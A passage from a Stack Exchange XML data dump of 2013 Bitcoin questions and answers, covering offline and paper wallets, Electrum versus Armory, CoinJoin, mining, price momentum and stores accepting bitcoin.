CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16644" PostTypeId="2" ParentId="11315" CreationDate="2013-11-13T16:52:27.267" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://electrum.org&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; allows to escrow transaction but requires you to use the command line interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://gist.github.com/anonymous/7211362&quot; rel=&quot;nofollow&quot;&gt;this gist&lt;/a&gt; explaining how to do it.&lt;/p&gt;&#xA;" OwnerUserId="8740" LastActivityDate="2013-11-13T16:52:27.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16645" PostTypeId="2" ParentId="16632" CreationDate="2013-11-13T17:12:48.430" Score="0" Body="&lt;p&gt;There is hardly any performance penalty for updating the block with a new hash (including new transactions) for the miners. In fact, even if they do not get any new transactions, they change the hash (using an extra nounce), at the very latest when they have exhausted all possible 32-bit nonce value in the block they were currently working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You likely have a misunderstanding of the mining process. It does not work such that you have to invest a large fixed amount of work. Instead, you do something fairly fast, calculating a double SHA256 hash, to see if the result is just right (for the current level of difficulty). Then you repeat the process until you get lucky.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-13T17:12:48.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16646" PostTypeId="1" AcceptedAnswerId="18384" CreationDate="2013-11-13T17:16:23.437" Score="9" ViewCount="18017" Body="&lt;p&gt;I'd like to secure my bitcoin with an offline wallet. A lot of security conscious people seem to use Armory. I am trying to get a better understanding of the differences between these two clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan on having a cheap netbook, never touched the internet, and using it as an air gapped offline wallet. If I need to make transfers then use a USB to sign transactions for the online wallet.&lt;/p&gt;&#xA;" OwnerUserId="4368" LastActivityDate="2014-01-26T21:10:09.833" Title="Offline Wallets: Electrum vs Armory?" Tags="|wallet|electrum|armory|offline|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16647" PostTypeId="2" ParentId="16642" CreationDate="2013-11-13T17:30:38.347" Score="1" Body="&lt;p&gt;The bare minimum permission would be to have it owned, and only accessible to, a user you specially create for bitcoind. At least for creation, and addition of new addresses for change, it will need to be not only readable but also writable. I am not sure if you can make it non-writable for as long as you have not exhausted the unused addresses in it.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-13T17:30:38.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16648" PostTypeId="2" ParentId="16639" CreationDate="2013-11-13T18:14:20.773" Score="2" Body="&lt;p&gt;Both options are possible. I don't know how most scamcoins do it but I believe it's more common to actually mine coins before the chain is released to the public.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-13T18:14:20.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16649" PostTypeId="1" AcceptedAnswerId="19163" CreationDate="2013-11-13T18:16:00.653" Score="13" ViewCount="4205" Body="&lt;p&gt;I just learned about CoinJoin, but I don't really understand all the jargon being thrown around. Can someone explain how this works where a 10-year-old can understand?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="23340" LastEditDate="2015-11-17T19:56:04.903" LastActivityDate="2015-12-15T15:23:05.027" Title="Explain how CoinJoin enhances anonymity, in plain English?" Tags="|privacy|coinjoin|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16651" PostTypeId="2" ParentId="16646" CreationDate="2013-11-13T18:44:53.890" Score="0" Body="&lt;p&gt;Since you just need to create a password-protected wallet file, most Bitcoin clients offer this functionality. Electrum uses a third-party to download the blockchain, so perhaps just for that reason I'd rather go with Armory. Certainly has a lot more security features. But again, since all you need is your password-protected wallet file you can also use MultiBit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use a laptop for this. I make sure it's disconnected from the internet. I run MultiBit on it. Create the password-protected wallet. I can then deposit in this address my savings. When I need to retrieve my funds, I connect it to the internet and run the transfer. Make sure you're using Linux.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2013-11-13T18:44:53.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16652" PostTypeId="2" ParentId="16554" CreationDate="2013-11-13T18:46:35.643" Score="1" Body="&lt;p&gt;First, if there is more than one &lt;em&gt;'From'&lt;/em&gt; address in a transaction, all of them necessarily have to be controlled by the same entity as each private key is required to sign the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, I see a few possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Somebody is consolidating a lot of small sums from different addresses to a single address owned by himself. This could be for example an Exchange moving deposits to cold storage, or a merchant preparing to pay his wholesale dealer. Alternatively, somebody needs to prove ownership of a discussed amount and moves everything to one address in order to sign a message proofing his wealth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Somebody wants to pay a large sum, but doesn't have a single address that contains the full amount, so they source the payment from many smaller amounts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Somebody is withdrawing a larger sum from an &lt;em&gt;Exchange&lt;/em&gt;, &lt;em&gt;Gambling Site&lt;/em&gt; or &lt;em&gt;Online Wallet Service&lt;/em&gt; that hadn't been deposited in bulk.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-13T18:46:35.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16653" PostTypeId="2" ParentId="16606" CreationDate="2013-11-13T19:08:01.180" Score="1" Body="&lt;p&gt;The miner won't stop the hash generation of their block. Even with new transactions coming in, they'll add them to their block until the hash is found. It could happen with only 20 transactions or with 400. The difficulty is so large that it's pretty random. So it's not like they get a set of transactions aside and work on those. They keep on working as transactions come in until they find the hash.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2013-11-13T19:08:01.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16654" PostTypeId="1" CreationDate="2013-11-13T19:11:09.387" Score="6" ViewCount="39537" Body="&lt;p&gt;Does anyone have an idea of where can I find a copy of the bitcoin source code. I mean doesn't it supposed to be open source, where is the open source project for bitcoin so I can read the code.&lt;/p&gt;&#xA;" OwnerDisplayName="user8746" LastEditorUserId="5406" LastEditDate="2021-07-20T19:13:12.787" LastActivityDate="2021-07-20T19:13:12.787" Title="How To Get Copy of Bitcoin Source Code" Tags="|bitcoin-core-development|open-source|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16655" PostTypeId="2" ParentId="16654" CreationDate="2013-11-13T19:14:52.413" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoind&lt;/a&gt; is what is most widely used. And here is the source: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But there's various other implementations for clients such as BitcoinJ for Java &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://code.google.com/p/bitcoinj/&lt;/a&gt; or &lt;a href=&quot;http://libbitcoin.dyne.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://libbitcoin.dyne.org/&lt;/a&gt; for C++.&lt;/p&gt;&#xA;&lt;p&gt;However, for miners the story is a bit different. If you're a miner you kind of need to use bitcoind. Otherwise bad things might happen such as the blockchain fork from last March: &lt;a href=&quot;http://bitcoinmagazine.com/3668/bitcoin-network-shaken-by-blockchain-fork/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinmagazine.com/3668/bitcoin-network-shaken-by-blockchain-fork/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;There is also helpful documentation such as the &lt;a href=&quot;https://developer.bitcoin.org/devguide/p2p_network.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;detailed Bitcoin spec for the P2P layer&lt;/a&gt; at bitcoin.org.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="13866" LastEditDate="2021-07-20T17:59:24.767" LastActivityDate="2021-07-20T17:59:24.767" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16656" PostTypeId="1" CreationDate="2013-11-13T20:00:31.460" Score="2" ViewCount="1811" Body="&lt;p&gt;I am curious if anyone has successfully built and linked all dependencies for litecoin and, finally, built litecoin in Visual Studio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, could someone please provide some instructions on how to do this?  I'd like to run some tests and I'm quite familiar with the Visual Studio debugger.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-12-13T15:40:45.290" Title="How can I build litecoin from source in Visual Studio (2010 or 2012)?" Tags="|litecoin|" AnswerCount="1" CommentCount="0" ClosedDate="2019-07-17T17:35:28.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="16657" PostTypeId="2" ParentId="16649" CreationDate="2013-11-13T20:12:25.827" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=279249.0&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a very extensive and relatively simple explanation of coinjoin. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-13T20:12:25.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16660" PostTypeId="2" ParentId="16640" CreationDate="2013-11-13T21:17:40.900" Score="11" Body="&lt;p&gt;The short answer is momentum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine for a second that you are a neutral observer and you see that the price of Bitcoin has been rising over the past few days. Even if you have no reason to think it will continue to rise over the long term, it makes sense for you to buy Bitcoins. After all, it's unlikely that the rise will end just as you buy, and if the price starts to drop, you can always sell. Your buying puts upward pressure on the price, maintaining the momentum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now imagine the price is falling. Even if you believe Bitcoins will go up over the long term, it makes sense to sell now. You can always buy your Bitcoins back for less if the price starts to rise. Your selling puts downward pressure on the price, maintaining the momentum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, essentially, if the price displays momentum, it's logical to assume it will continue to do so for at least a short period of time, and thus it's logical to perform a transaction that contributes to that momentum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Negative publicity can start downward momentum. Positive publicity can start upward momentum. Momentum can't really be maintained forever though and when upward momentum stops, everyone fears that downward momentum will begin. They sell to take advantage of the high price and start downward momentum. The same is true when downward momentum ends -- everyone who is bullish over the long term wants to take advantage of the low price. This starts upward momentum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be aware, trading on momentum is essentially a zero-sum game. Everyone's trading profit is someone else's loss. You are probably not &quot;smarter&quot; than everyone else and so are just as likely to be a winner as a loser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the long term upward trend is not a zero-sum game and can mean that there are more winners than losers. Essentially, people who see Bitcoins as an investment are hoping that the Bitcoin system creates real value over the long term.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-11-13T21:35:06.200" LastActivityDate="2013-11-13T21:35:06.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16661" PostTypeId="1" AcceptedAnswerId="16663" CreationDate="2013-11-13T21:56:14.773" Score="0" ViewCount="722" Body="&lt;p&gt;On almost any Bitcoin-QT tutorial I notice people recommending to: &lt;BR&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(step 1) back up your wallet.dat before adding a passphrase. &lt;br&gt; &#xA;(step 2) Add a passphrase and copy your new wallet.dat to a USB ....&lt;br&gt; &#xA;(step 3) Write down on a piece of paper the used passphrase .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't (step 1) problematic? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I copied wallet.dat prior to adding a passphrase and just dumped it somewhere on my computer or god forbid on a USB and the USB gets lost or computer is hacked,  wouldn't an obtained wallet.dat prior to adding a passphrase, will grant access to the new (and thought to be passphrase secured) wallet?&lt;/p&gt;&#xA;" OwnerUserId="5753" LastEditorUserId="5753" LastEditDate="2013-11-13T22:16:39.343" LastActivityDate="2013-11-13T22:18:36.400" Title="Bitcoin-QT wallet.dat prior to adding passphrase" Tags="|wallet|bitcoin-core|wallet.dat|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16662" PostTypeId="2" ParentId="16582" CreationDate="2013-11-13T21:58:40.827" Score="-1" Body="&lt;p&gt;you need to make a wire transfer to a china bank or fund your account with bitcoins&lt;/p&gt;&#xA;" OwnerUserId="8750" LastActivityDate="2013-11-13T21:58:40.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16663" PostTypeId="2" ParentId="16661" CreationDate="2013-11-13T22:18:36.400" Score="2" Body="&lt;p&gt;I presume the reason for step 1 is to protect you from losing your Bitcoins in case you later discover that remembering your passphrase is beyond you. If you understand the relative dangers and conclude that not keeping a backdoor around your new passphrase is the right way for you, I suppose you could try skipping step 1.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-13T22:18:36.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16665" PostTypeId="1" CreationDate="2013-11-13T23:18:06.790" Score="1" ViewCount="1153" Body="&lt;p&gt;I am not able to connect to my wallet using Multibit (&quot;Connecting...&quot; on the bottom left corner). Im using the TAILS OS (Multibit and my wallet are located in the &quot;Persistent&quot; folder). After reading the log, the problem probably has to do with the port 8333 (Peer dies), which I forwarded via my router settings though. I also checked netstat to see if the port is listening and its not. I googled and found a few threads with people having similar problems, some recommended forwarding the port (which I did), some recommended configuring a proxy in the Tor settings (SOCKS5, 127.0.0.1:9063), but nothing seems to solve the problem. I'm wondering if it's a common one and I seem to be pretty incompetent when it comes to trying to solve it, so  please, help me. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Quick update. I now tried switching to Electrum, which doesn't connect either. Then I tried out Bitcoin-Qt, which synchronizes forever until my laptop crashes (3 attempts so far)..Is this so hard ?? ..&lt;/p&gt;&#xA;" OwnerUserId="8751" LastEditorUserId="8751" LastEditDate="2013-11-14T21:42:37.617" LastActivityDate="2014-01-29T23:58:17.473" Title="Multibit: Connecting" Tags="|wallet|network|multibit|connection|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16666" PostTypeId="1" CreationDate="2013-11-13T23:30:37.590" Score="3" ViewCount="2116" Body="&lt;p&gt;Is there an e-commerce plug-in or payment processing platform that facilitates the sequence detailed below?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Merchant accepts customer's online order &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Customer's credit card is charged accordingly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The dollar amount of credit card charge is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Converted into bitcoin; *&lt;strong&gt;or&lt;/strong&gt;* &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Used to purchase the equivalent amount of bitcoins;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Value of customer's order (in bitcoin) posts to Merchant account&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The customer receives the invoice in USD &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7240" LastEditorUserId="75001" LastEditDate="2018-03-18T05:37:47.513" LastActivityDate="2018-03-18T05:37:47.513" Title="E-commerce invoice in USD &amp; receive payment in Bitcoin" Tags="|buy-bitcoins|payment-processors|ecommerce|merchant-services|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16667" PostTypeId="1" CreationDate="2013-11-14T02:09:51.933" Score="3" ViewCount="299" Body="&lt;p&gt;Other than banning it, what is the biggest risk to the price of Bitcoin? What circumstances may kill Bitcoin or bring it down to less than $10?&lt;/p&gt;&#xA;" OwnerUserId="8753" LastActivityDate="2013-11-14T03:36:06.363" Title="What would kill Bitcoin?" Tags="|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16669" PostTypeId="2" ParentId="16667" CreationDate="2013-11-14T03:36:06.363" Score="5" Body="&lt;p&gt;No one can determine the effect certain threats will cause, but some &quot;popular&quot; threats are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Extreme government regulation.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin losing to a competitor coin.&lt;/li&gt;&#xA;&lt;li&gt;Technical attacks, including attacks on protocol (51% attack) or attacks on cryptography.&lt;/li&gt;&#xA;&lt;li&gt;Intentional market manipulation to crash the price.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some factors that can drive these events to be more likely to occur or enable them are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unresolved technical issues, such as blockchain bloat, or transaction limits within blocks.&lt;/li&gt;&#xA;&lt;li&gt;End of or diminishing block rewards causing people to abandon mining.&lt;/li&gt;&#xA;&lt;li&gt;Increased centralization for whatever reason (advanced technology, zero power costs, etc.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8667" LastActivityDate="2013-11-14T03:36:06.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16671" PostTypeId="1" CreationDate="2013-11-14T04:39:05.967" Score="4" ViewCount="294" Body="&lt;p&gt;What is the reasoning behind bitcoin's value skyrocketing in the last 10 days? Why the sudden influx of Chinese investors? Does this constitute another bitcoin bubble?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yZH1r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4814" LastActivityDate="2013-11-14T04:39:05.967" Title="What has caused bitcoin to double in value in the last ten days?" Tags="|bitcoin-economy|" AnswerCount="0" CommentCount="3" ClosedDate="2013-11-14T10:24:02.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="16673" PostTypeId="1" CreationDate="2013-11-14T06:49:51.230" Score="0" ViewCount="5319" Body="&lt;p&gt;Are there stores that accept bitcoins?&#xA;In particular, are there alternatives to the ebay-like website &lt;a href=&quot;http://www.bitmit.net&quot; rel=&quot;nofollow&quot;&gt;Bitmit&lt;/a&gt;?&#xA;Bitmit has shut down, and I am looking for an alternative.&lt;/p&gt;&#xA;" OwnerUserId="8758" LastEditorDisplayName="user6049" LastEditDate="2013-11-28T21:02:58.270" LastActivityDate="2014-06-14T13:10:43.187" Title="Stores that accept bitcoins &amp; Alternatives to Bitmit?" Tags="|buy-bitcoins|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16674" PostTypeId="2" ParentId="16673" CreationDate="2013-11-14T07:07:43.123" Score="2" Body="&lt;p&gt;Sure, plenty of places accept bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.spendbitcoins.com/places/&quot; rel=&quot;nofollow&quot;&gt;https://www.spendbitcoins.com/places/&lt;/a&gt; - General list.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trade&lt;/a&gt; - General list.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gyft.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gyft.com/&lt;/a&gt; (enables you to use giftcards at major retailers, from your phone and paid in BTC.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://coinmap.org/&quot; rel=&quot;nofollow&quot;&gt;http://coinmap.org/&lt;/a&gt; for local places accepting bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.foodler.com&quot; rel=&quot;nofollow&quot;&gt;http://www.foodler.com&lt;/a&gt; for dinner.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitcoinstore.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinstore.com/&lt;/a&gt; for electronics.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.corkket.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.corkket.com/&lt;/a&gt; for selling locally.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8667" LastEditorUserId="-1" LastEditDate="2014-06-14T13:10:43.187" LastActivityDate="2014-06-14T13:10:43.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16676" PostTypeId="2" ParentId="12163" CreationDate="2013-11-14T08:23:58.313" Score="-1" Body="&lt;p&gt;You can use the newly launched &lt;a href=&quot;https://www.coinwallet.co&quot; rel=&quot;nofollow&quot;&gt;https://www.coinwallet.co&lt;/a&gt; for Litecoin&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2013-11-14T08:23:58.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16677" PostTypeId="2" ParentId="9021" CreationDate="2013-11-14T08:39:21.660" Score="1" Body="&lt;p&gt;We have just released &lt;a href=&quot;http://www.coinwallet.co&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwallet.co&lt;/a&gt; which supports Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2013-11-14T08:39:21.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16679" PostTypeId="1" CreationDate="2013-11-14T10:21:33.170" Score="5" ViewCount="2680" Body="&lt;p&gt;I always expected the LTC and BTC exchange rate to show synchronous tops/bottoms, but to my surprise LTC seems to remains stable during BTC crashes (and vice versa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this because I'm a novice at chart-analysis, or is there really little correlation?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-07-05T18:08:16.620" Title="Does LTC price correlates to BTC price?" Tags="|exchanges|litecoin|exchange-rate|technical-analysis|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16680" PostTypeId="1" CreationDate="2013-11-14T10:24:10.837" Score="3" ViewCount="461" Body="&lt;p&gt;Why do I need a bitcoin wallet for cold storage?  Can I just write down randomly generated public address and private key pairs, and keep these on paper?  I am confused by the apparent need for a wallet stored on a thumb drive or some other data storage device that may become corrupt.  So why do I need the wallet?&lt;/p&gt;&#xA;" OwnerUserId="8762" LastActivityDate="2013-11-14T14:00:07.057" Title="Bitcoin wallet - why do i need it for cold storage?" Tags="|wallet.dat|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16682" PostTypeId="1" CreationDate="2013-11-14T11:22:24.577" Score="0" ViewCount="132" Body="&lt;p&gt;Is there any wallet client that conforms to the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The wallet client is accessed through a website (for portability).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The wallet client does not store any private keys (I know there is some trust involve). I want to access coins by providing a private key only, not by creating an account on the website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Most importantly, all the transaction change is to be payed to the original address. I do not want any additional addresses created during a transaction. I want to keep it as idiot-proof as possible and not rely on myself to keep track of any additional addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8764" LastActivityDate="2014-01-14T19:31:24.037" Title="An online wallets that sends transaction change back to the original address" Tags="|wallet|change|paper-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16683" PostTypeId="2" ParentId="16680" CreationDate="2013-11-14T11:42:03.923" Score="2" Body="&lt;p&gt;You can indeed do this. It has multiple environmental factors though which make this a bad idea.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Paper is easily damaged and very degradable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could make a mistake. If you do intend to do this maybe its best to quadruple check it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lack of extra security - unless you have it locked away in a safety deposit back in the city undergrounds, someone who knows it is there could steal it. Data drives give you extra level of security with wallet encryption.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are probably other reasons but these are the main three, if you do decide to just do this there are a few techniques you could use to improve these factors..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try laminating it, will give the paper exponentially longer lifepan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miss out a character that only you will remember, replacing a single character of a private key is easy if you know where it goes but hard if your not you, obviously just don't forget it!&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-14T11:42:03.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16684" PostTypeId="2" ParentId="16682" CreationDate="2013-11-14T11:50:09.827" Score="0" Body="&lt;p&gt;The closest service to what you speak of is &lt;a href=&quot;https://easywallet.org&quot; rel=&quot;nofollow&quot;&gt;https://easywallet.org&lt;/a&gt;. That i am aware of anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is run by the same good folk who run localbitcoins so its a trustworthy service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember there are always risks with low security wallets and services such as this.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-14T11:50:09.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16685" PostTypeId="1" CreationDate="2013-11-14T12:16:24.133" Score="2" ViewCount="249" Body="&lt;p&gt;If I put my btc in a wallet in a pc but never connect it to net unless i need to use btc, is it practically cold storage and how safe is it? &lt;/p&gt;&#xA;" OwnerUserId="8768" LastActivityDate="2014-06-06T06:41:39.480" Title="Not totally cold but how cold and safe is it?" Tags="|coldstorage|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16686" PostTypeId="2" ParentId="16680" CreationDate="2013-11-14T13:51:00.083" Score="2" Body="&lt;p&gt;You can indeed just write down, or print out the private key. Strictly speaking you don't need the public key in cold storage. Paper stores well for a long time as long as it is of archive quality. I would trust that more than any magnetic storage. Paper has been around for a long time and we know how to make it durable against time if so required. The ink of the pen needs to be of archive quality (at least where I live some pens are classified as such). Leaving the paper in the bank vault leaves you with one single point of failure though. And you may have made an error while copying the key to paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could make another copy and give half the key to one trusted friend or relative, and the other one to another trusted friend or relative. It would be easier to brute force half a key for one of these people, but they are hopefully not into that with your key and half a key is still a lot of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you consider using an offline computer, you could enter your private key into a  local off-line copy of this page: &lt;a href=&quot;http://passguardian.com/&quot; rel=&quot;nofollow&quot;&gt;http://passguardian.com/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It implements &lt;a href=&quot;http://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing#Usage&quot; rel=&quot;nofollow&quot;&gt;Shamir's secret sharing&lt;/a&gt; and allows you to print out &quot;keys&quot; that needs to be combined (e.g any 3 out of 5) to yield the original key. Then give those out to people. Use a laser print for all print work, not an inkjet, since ink can be destroyed by water easily. The laser printer must not store copies of your print outs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Laminating the paper as is suggested in another answer, then one would need to know that the plastic does not degrade the paper in the long run. There is no long term information on this, since laminated paper wasn't around 200 years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Here is a link discussing archival standards at the Technical Research Institute of Sweden:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sp.se/en/index/services/permanence/sidor/default.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.sp.se/en/index/services/permanence/sidor/default.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of their approved stuff; look in the left hand column and navigate down to the desired category:&#xA;&lt;a href=&quot;http://www.sp.se/en/index/services/certprod/certprodprofil/arkiv/Sidor/default.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.sp.se/en/index/services/certprod/certprodprofil/arkiv/Sidor/default.aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8644" LastEditorUserId="8644" LastEditDate="2013-11-14T14:00:07.057" LastActivityDate="2013-11-14T14:00:07.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
